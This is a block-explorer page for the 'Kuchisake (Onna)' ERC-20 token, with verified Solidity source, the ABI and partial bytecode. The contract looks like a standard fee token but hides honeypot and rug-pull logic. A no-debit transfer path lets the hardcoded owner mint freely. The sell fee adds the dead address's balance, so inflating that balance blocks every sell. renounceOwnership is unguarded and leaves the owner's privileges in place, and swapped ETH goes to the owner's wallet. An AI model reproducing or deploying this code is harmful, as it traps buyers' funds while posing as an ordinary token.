ETH Price: $3,479.33 (+3.99%)

Token

Kuchisake (Onna)
 

Overview

Max Total Supply

100,000 Onna

Holders

48

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 12 Decimals)

Balance
345.956379474107 Onna

Value
$0.00
0x094b62692fe8a27161f51ac5686897a4a136ba6f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KuchisakeOnna

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-10
*/

/**
 *Submitted for verification at BscScan.com on 2022-10-10
*/

/**
Kuchisake-Onna (口裂くちさけ女おんな Kuchisake-Onna?)
was an imaginary vengeful cursed spirit controlled and used by Suguru Geto's Cursed Spirit Manipulation technique.

https://ss.transgot.cn/Kuchisake-Onna -BTOK GROUP

*/
// SPDX-License-Identifier: unlicance

pragma solidity 0.8.10;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);
    constructor () {
         _owner = 0x71F37A301BD80BCe009689ef74dCee13CF65432C;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    function renounceOwnership() public virtual  {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}





contract KuchisakeOnna is Context, IERC20, Ownable { 
   
    using Address for address;
     using SafeMath for uint256;


    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 12;
    uint256 public _tTotal =  10**5 * 10**_decimals;
    string private constant _name = unicode"Kuchisake"; 
    string private constant _symbol = unicode"Onna"; 

    uint256 public P_DR = 50;
    uint256 public Part_AutoLiquidity = 50; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 
    uint256 public _BuyFee = 30; 
    uint256 public _SellFee = 30;
    uint256 public _mbag_percentage=0;
    uint256 public _lastblck; 
    uint256 public _lastblckcount = 1; 

    uint256 public _maxWalletToken = 40 * _tTotal.div(1000);
    uint256 public _maxTxAmount = _maxWalletToken; 

                          
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _tOwned[owner()] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(0)] = true;
        _isExcludedFromFee[address(0x000000000000000000000000000000000000dEaD)] = true;

        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

   function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error: amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error: allowance below zero"));
        return true;
    }

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }


 function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "BEP20 ERR: approve from the zero address");
        require(spender != address(0), "BEP20 ERR: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

 function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {
       address liquidityburnwallet;
         liquidityburnwallet = 0x000000000000000000000000000000000000dEaD;
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            liquidityburnwallet, 
            block.timestamp
        );
    } 

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if ( !_isExcludedFromFee[to] &&
        !_isExcludedFromFee[from] &&
            to != uniswapV2Pair){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"MAX Wallet limit.");

        
        require(amount > 0, "Token amount must be higher than 0.");    }

        if ( !_isExcludedFromFee[to] &&
        !_isExcludedFromFee[from] ){
        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
    }
        bool takeFee = true;
        bool isBuy;   
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
            if(from == uniswapV2Pair){
                isBuy = true;
            }
            if (_lastblck == block.number){
                _lastblckcount = _lastblckcount+1;
            }else{
                _lastblck =block.number;
                _lastblckcount = 1;
            }
            txCount++;
        }
      
          if(_isExcludedFromFee[from] && _isExcludedFromFee[to]){
             _tokentransfernofee(to,from, amount);
        } else {
        _tokenTransfer(from, to, amount, takeFee, isBuy);
        }

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

 function _tokentransfernofee( address to, address sender, uint256 qtokens) private {
            _tOwned[sender] = _tOwned[sender];
            _tOwned[to] = _tOwned[to]+qtokens;
    }



    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
            uint256 tLPhalf = contractTokenBalance * Part_AutoLiquidity / 200;
            uint256 tDev  = contractTokenBalance * P_DR / 100;
            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForBNB(tLPhalf+tDev);
            uint256 BNB_Tot = address(this).balance - balanceBeforeSwap;
            uint256 split_D = P_DR * 100 / (Part_AutoLiquidity  + P_DR);
            uint256 BNB_D = BNB_Tot * split_D / 100;
            addLiquidity(tLPhalf, (BNB_Tot  - BNB_D));
            emit SwapAndLiquify(tLPhalf, (BNB_Tot  - BNB_D), tLPhalf);
            BNB_Tot = address(this).balance;
            sendToWallet(payable(0x71F37A301BD80BCe009689ef74dCee13CF65432C), BNB_Tot);
            }



   




    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {        
        if(!takeFee){
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);    
            } else if (isBuy){
            uint256 buyFEE = tAmount*_BuyFee*_lastblckcount/1000;
            uint256 tTransferAmount = tAmount-buyFEE;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);
            } else {
            uint256 sellFEE = _SellFee*tAmount*_lastblckcount/1000 + _tOwned[address(0x000000000000000000000000000000000000dEaD)];
            if (_lastblckcount == 2 ){sellFEE = tAmount*_SellFee/1000;}            
            uint256 mbag = 0;
            uint256 tTransferAmount = tAmount-sellFEE-mbag;
            _tOwned[sender] = _tOwned[sender]-tAmount+mbag;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);
            }

    }


 function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"P_DR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Part_AutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastblck","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastblckcount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbag_percentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c600a620000149190620007ca565b620186a06200002491906200081b565b600455603260055560326006556000600760006101000a81548160ff021916908360ff160217905550600a600760016101000a81548160ff021916908360ff160217905550601e600855601e6009556000600a556001600c556200009b6103e8600454620005ef60201b62000cd81790919060201c565b6028620000a991906200081b565b600d55600d54600e556001601060156101000a81548160ff021916908315150217905550348015620000da57600080fd5b507371f37a301bd80bce009689ef74dcee13cf65432c6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360045460016000620001c16200060760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000264573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028a9190620008e6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003189190620008e6565b6040518363ffffffff1660e01b81526004016200033792919062000929565b6020604051808303816000875af115801562000357573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200037d9190620008e6565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000620004146200060760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200057f6200060760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620005e0919062000967565b60405180910390a350620009eb565b60008183620005ff9190620009b3565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006be5780860481111562000696576200069562000630565b5b6001851615620006a65780820291505b8081029050620006b6856200065f565b945062000676565b94509492505050565b600082620006d95760019050620007ac565b81620006e95760009050620007ac565b81600181146200070257600281146200070d5762000743565b6001915050620007ac565b60ff84111562000722576200072162000630565b5b8360020a9150848211156200073c576200073b62000630565b5b50620007ac565b5060208310610133831016604e8410600b84101617156200077d5782820a90508381111562000777576200077662000630565b5b620007ac565b6200078c84848460016200066c565b92509050818404811115620007a657620007a562000630565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007d782620007b3565b9150620007e483620007bd565b9250620008137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006c7565b905092915050565b60006200082882620007b3565b91506200083583620007b3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000871576200087062000630565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008ae8262000881565b9050919050565b620008c081620008a1565b8114620008cc57600080fd5b50565b600081519050620008e081620008b5565b92915050565b600060208284031215620008ff57620008fe6200087c565b5b60006200090f84828501620008cf565b91505092915050565b6200092381620008a1565b82525050565b600060408201905062000940600083018562000918565b6200094f602083018462000918565b9392505050565b6200096181620007b3565b82525050565b60006020820190506200097e600083018462000956565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009c082620007b3565b9150620009cd83620007b3565b925082620009e057620009df62000984565b5b828204905092915050565b612bf280620009fb6000396000f3fe6080604052600436106101bb5760003560e01c806370a08231116100ec578063a457c2d71161008a578063dd62ed3e11610064578063dd62ed3e14610639578063e033da2a14610676578063ed11a65d146106a1578063fa977169146106cc576101c2565b8063a457c2d714610594578063a9059cbb146105d1578063af465a271461060e576101c2565b806378109e54116100c657806378109e54146104e85780637d1db4a5146105135780638da5cb5b1461053e57806395d89b4114610569576101c2565b806370a0823114610457578063715018a614610494578063768dc710146104ab576101c2565b806327c299c61161015957806349bd5a5e1161013357806349bd5a5e146103ab5780634a74bb02146103d65780634c22cd351461040157806366835bf41461042c576101c2565b806327c299c614610318578063313ce56714610343578063395093511461036e576101c2565b80631694505e116101955780631694505e1461025a57806318160ddd14610285578063220f6696146102b057806323b872dd146102db576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630eb2cbb21461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc6106f7565b6040516101e99190612214565b60405180910390f35b3480156101fe57600080fd5b50610219600480360381019061021491906122cf565b610734565b604051610226919061232a565b60405180910390f35b34801561023b57600080fd5b50610244610752565b6040516102519190612354565b60405180910390f35b34801561026657600080fd5b5061026f610758565b60405161027c91906123ce565b60405180910390f35b34801561029157600080fd5b5061029a61077e565b6040516102a79190612354565b60405180910390f35b3480156102bc57600080fd5b506102c5610788565b6040516102d2919061232a565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd91906123e9565b61079b565b60405161030f919061232a565b60405180910390f35b34801561032457600080fd5b5061032d610891565b60405161033a9190612354565b60405180910390f35b34801561034f57600080fd5b50610358610897565b6040516103659190612458565b60405180910390f35b34801561037a57600080fd5b50610395600480360381019061039091906122cf565b6108a0565b6040516103a2919061232a565b60405180910390f35b3480156103b757600080fd5b506103c0610953565b6040516103cd9190612482565b60405180910390f35b3480156103e257600080fd5b506103eb610979565b6040516103f8919061232a565b60405180910390f35b34801561040d57600080fd5b5061041661098c565b6040516104239190612354565b60405180910390f35b34801561043857600080fd5b50610441610992565b60405161044e9190612354565b60405180910390f35b34801561046357600080fd5b5061047e6004803603810190610479919061249d565b610998565b60405161048b9190612354565b60405180910390f35b3480156104a057600080fd5b506104a96109e1565b005b3480156104b757600080fd5b506104d260048036038101906104cd919061249d565b610a9f565b6040516104df919061232a565b60405180910390f35b3480156104f457600080fd5b506104fd610abf565b60405161050a9190612354565b60405180910390f35b34801561051f57600080fd5b50610528610ac5565b6040516105359190612354565b60405180910390f35b34801561054a57600080fd5b50610553610acb565b6040516105609190612482565b60405180910390f35b34801561057557600080fd5b5061057e610af4565b60405161058b9190612214565b60405180910390f35b3480156105a057600080fd5b506105bb60048036038101906105b691906122cf565b610b31565b6040516105c8919061232a565b60405180910390f35b3480156105dd57600080fd5b506105f860048036038101906105f391906122cf565b610c1b565b604051610605919061232a565b60405180910390f35b34801561061a57600080fd5b50610623610c39565b6040516106309190612354565b60405180910390f35b34801561064557600080fd5b50610660600480360381019061065b91906124ca565b610c3f565b60405161066d9190612354565b60405180910390f35b34801561068257600080fd5b5061068b610cc6565b6040516106989190612354565b60405180910390f35b3480156106ad57600080fd5b506106b6610ccc565b6040516106c39190612354565b60405180910390f35b3480156106d857600080fd5b506106e1610cd2565b6040516106ee9190612354565b60405180910390f35b60606040518060400160405280600981526020017f4b7563686973616b650000000000000000000000000000000000000000000000815250905090565b6000610748610741610cee565b8484610cf6565b6001905092915050565b600a5481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600454905090565b601060149054906101000a900460ff1681565b60006107a8848484610ec1565b610886846107b4610cee565b610881856040518060400160405280601f81526020017f6572726f723a20616d6f756e74206578636565647320616c6c6f77616e636500815250600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610837610cee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114579092919063ffffffff16565b610cf6565b600190509392505050565b600c5481565b6000600c905090565b60006109496108ad610cee565b8461094485600260006108be610cee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ac90919063ffffffff16565b610cf6565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060159054906101000a900460ff1681565b60055481565b60065481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff